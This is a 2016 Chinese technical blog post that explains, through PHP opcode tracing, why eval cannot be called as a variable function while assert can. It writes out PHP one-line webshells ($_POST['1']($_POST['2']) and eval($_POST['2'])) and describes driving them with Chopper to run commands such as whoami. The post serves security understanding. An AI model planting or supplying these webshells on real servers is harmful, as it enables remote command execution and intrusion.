从底层分析eval和assert的区别

经常会遇上这么一个问题

<?php
$_POST['1']($_POST['2']);

在菜刀中一般是1=assert&2做为密码连接,或者1=system&2=whoami来执行命令。

<?php
eval($_POST['2']);

看看熟悉的一句话,这个时候就会想,为啥不能这样1=eval&2连接。


$_POST['1']()这是一个可变函数,这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

但值得注意的是不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构

所以在看手册里面看eval函数就会发现有一行提示:

Note: 因为是一个++语言构造器++而不是一个函数,不能被可变函数调用。

结论就说到这,现在来验证一下。

eval.php

<?php
eval("system('whoami');");

assert.php

<?php
assert('system("whoami")');

可以很清楚的看到opcode,eval是INCLUDE_OR_EVAL去处理,而assert是用DO_FCALL去处理。

可以看下DO_FCALL

会进行一个函数名的查找

再跟一下INCLUDE_OR_EVAL

就会发现进去后会直接编译eval参数中的代码。

从一开始的跟踪opcode中可以看到,eval其实是Zend的函数,而assert是PHP_FUNCTION宏编写的,最后在调用上是不同的。

print与printf也一样,前者不是函数,而后者是的。

对于opcode的理解可以看看这篇文章

感谢ph师傅以及各位基友的指导。

参考资料:
ln-科普小文章php内核动态调试关于弱类型比较

posted @ 2016-08-12 22:17  l3m0n  阅读(5321)  评论(2编辑  收藏  举报